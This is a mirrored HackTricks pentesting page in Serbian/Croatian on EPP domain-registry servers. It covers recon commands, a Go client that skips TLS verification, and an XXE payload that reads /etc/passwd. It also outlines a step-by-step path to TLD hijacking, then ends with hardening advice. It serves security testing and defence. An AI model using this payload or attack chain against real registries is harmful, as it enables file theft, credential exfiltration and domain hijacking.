mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
116 lines
5.8 KiB
Markdown
116 lines
5.8 KiB
Markdown
# 700 - Pentesting EPP
|
||
|
||
{{#include ../banners/hacktricks-training.md}}
|
||
|
||
## Osnovne informacije
|
||
|
||
Extensible Provisioning Protocol (EPP) je mrežni protokol koji se koristi za **upravljanje domenima i drugim internet resursima** od strane registara domena i registrara. Omogućava automatizaciju procesa registracije, obnavljanja, prenosa i brisanja domena, osiguravajući standardizovan i siguran komunikacioni okvir između različitih entiteta u sistemu domena (DNS). EPP je dizajniran da bude fleksibilan i proširiv, omogućavajući dodavanje novih funkcija i komandi kako se potrebe internet infrastrukture razvijaju.
|
||
|
||
U suštini, to je jedan od protokola koje **TLD registrar nudi registrarima domena** za registraciju novih domena u TLD.
|
||
|
||
### Pentest
|
||
|
||
[**U ovom veoma interesantnom članku**](https://hackcompute.com/hacking-epp-servers/) možete videti kako su neki istraživači bezbednosti otkrili da su nekoliko **implementacija ovog protokola** bile ranjive na XXE (XML External Entity) jer ovaj protokol koristi XML za komunikaciju, što bi omogućilo napadačima da preuzmu desetine različitih TLD-ova.
|
||
|
||
---
|
||
|
||
## Enumeracija i Recon
|
||
|
||
EPP serveri gotovo uvek slušaju na TCP `700/tcp` preko TLS-a. Tipična implementacija takođe sprovodi **uzajamni TLS (mTLS)**, tako da klijent mora da predstavi važeći sertifikat koji je izdao CA registra. Ipak, mnoge privatne testne ili pre-produkcijske implementacije zaboravljaju tu kontrolu:
|
||
```bash
|
||
# Banner-grabbing / TLS inspection
|
||
nmap -p700 --script ssl-cert,ssl-enum-ciphers <target>
|
||
|
||
# Check if mTLS is *really* required (it frequently is not!)
|
||
openssl s_client -connect <target>:700 -quiet \
|
||
-servername epp.test 2>/dev/null | head
|
||
```
|
||
Ako server ne prekine vezu nakon TLS rukovanja, možete pokušati da pošaljete neautentifikovanu `<hello/>` poruku:
|
||
```xml
|
||
<?xml version="1.0" encoding="UTF-8"?>
|
||
<epp xmlns="urn:ietf:params:xml:ns:epp-1.0">
|
||
<hello/>
|
||
</epp>
|
||
```
|
||
### Open-source klijenti korisni za testiranje
|
||
|
||
* **epp-client (Go)** – aktivno održavan, podržava TCP/TLS i EPP-over-HTTPS (RFC 8730):
|
||
`go install github.com/domainr/epp/cmd/epp@latest`
|
||
* **gandi/go-epp** – minimalna biblioteka klijenta koja se lako može instrumentisati za fuzzing ili nuclei-stil radne tokove.
|
||
* **afq984/php-epp-client** – PHP implementacija koju koriste mnogi mali registrari; zgodan cilj za pregled koda.
|
||
|
||
Primer minimalnog skripta za prijavu+proveru sa Go epp-client:
|
||
```go
|
||
package main
|
||
import (
|
||
"github.com/domainr/epp"
|
||
"crypto/tls"
|
||
)
|
||
|
||
func main() {
|
||
cfg := &tls.Config{InsecureSkipVerify: true}
|
||
c, _ := epp.DialTLS("epp.test:700", cfg)
|
||
c.Login("CLIENT_ID", "PASSWORD", nil)
|
||
resp, _ := c.DomainCheck("example","com")
|
||
println(resp)
|
||
}
|
||
```
|
||
---
|
||
|
||
## Uobičajene slabosti i ranjivosti 2023-2025
|
||
|
||
| Godina | Komponenta | CWE | Uticaj |
|
||
|--------|------------|-----|--------|
|
||
| 2023 | CoCCA Registry < 3.5 | CWE-611 XXE | Udaljeno čitanje fajlova i SSRF putem kreiranog `<epp>` payload-a (zakrpa: 2023-11-02) |
|
||
| 2024 | FRED EPP Server 2.x | CWE-322 Nedovoljna validacija TLS sertifikata | Zaobilaženje mTLS omogućilo neovlašćen pristup registraru |
|
||
| 2025 | Proprietary registrar panel | CWE-306 Nedostajuća autentifikacija za kritičnu funkciju | Tačka odobrenja prenosa domena izložena preko EPP-HTTP mosta |
|
||
|
||
### XXE / SSRF payload (radi protiv mnogih Java/Spring implementacija)
|
||
```xml
|
||
<?xml version="1.0"?>
|
||
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
|
||
<epp xmlns="urn:ietf:params:xml:ns:epp-1.0">
|
||
<command>
|
||
<check>
|
||
<domain:check xmlns:domain="urn:ietf:params:xml:ns:domain-1.0">
|
||
<domain:name>&xxe;</domain:name>
|
||
</domain:check>
|
||
</check>
|
||
</command>
|
||
</epp>
|
||
```
|
||
Kada je parser pogrešno konfiguran (`XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES=true`), sadržaj datoteke se vraća unutar `<resData>` strukture.
|
||
|
||
### Ostala tipična otkrića
|
||
|
||
1. **Slaba politika kredencijala** – EPP prijavne fraze kraće od 8 karaktera; brute-force je često izvodljiv jer specifikacija samo PREPORUČUJE (ne zahteva) ograničavanje brzine.
|
||
2. **Nedostajući `registryLock` / `serverUpdateProhibited` status** – nakon autentifikacije, napadači mogu odmah ažurirati NS zapise i ukrasti saobraćaj.
|
||
3. **Nepotpisane poruke za anketu** – neke implementacije još uvek ne potpisuju poruke Q&A anketa, omogućavajući spoofing/phishing operatera registra.
|
||
|
||
---
|
||
|
||
## Put napada: Od nule do otmice TLD-a
|
||
|
||
1. Otkrijte EPP krajnju tačku (često skrivena iza generičkog hosta kao što je `ot&e.<tld>.nic.<cc>`).
|
||
2. Iskoristite jednu od gornjih slabosti da dobijete kredencijale na nivou registra (XXE → SSRF do IMDSv1, eksfiltracija kredencijala, ili TLS-bypass).
|
||
3. Izdajte `<update>` zahteve da promenite `hostObj` zapise domena na servere imenom napadača.
|
||
4. (Opcionalno) Podnesite `<transfer>` da prebacite domen na registrar pod kontrolom napadača – mnogi registri se još uvek oslanjaju na **jedan auth-code**.
|
||
5. Profit: potpuna kontrola DNS zone, mogućnost zahteva TLS sertifikata putem ACME.
|
||
|
||
---
|
||
|
||
## Odbrambene mere i učvršćivanje
|
||
|
||
* Sprovodite **mTLS sa klijent sertifikatima po registru** i pinujte CA registra.
|
||
* Postavite `parserFeature secure-processing=true` ili ekvivalentno da ubijete XXE.
|
||
* Izvršite **kontinuirano fuzzing** XML parsera (npr. sa `go-fuzz` ili `jazzer` za Java).
|
||
* Implementirajte **Registry Lock / server*Prohibited** statuse za domene visoke vrednosti.
|
||
* Pratite `poll` red za sumnjive `<transfer>` ili `<update>` komande i obaveštavajte u realnom vremenu.
|
||
* ICANN 2024 izmene ugovora o DNS-zloupotrebi zahtevaju od registara da dokažu kontrole brzine i autentifikacije – iskoristite ih.
|
||
|
||
## Reference
|
||
|
||
* ICANN Savetodavni komitet za bezbednost i stabilnost (SSAC). "SAC118: Posledice neuspeha operatera registra da implementira EPP bezbednosne kontrole". 2024.
|
||
* HackCompute – "Hacking EPP servera: zloupotreba XXE za otmicu TLD-ova" (2023).
|
||
{{#include ../banners/hacktricks-training.md}}
|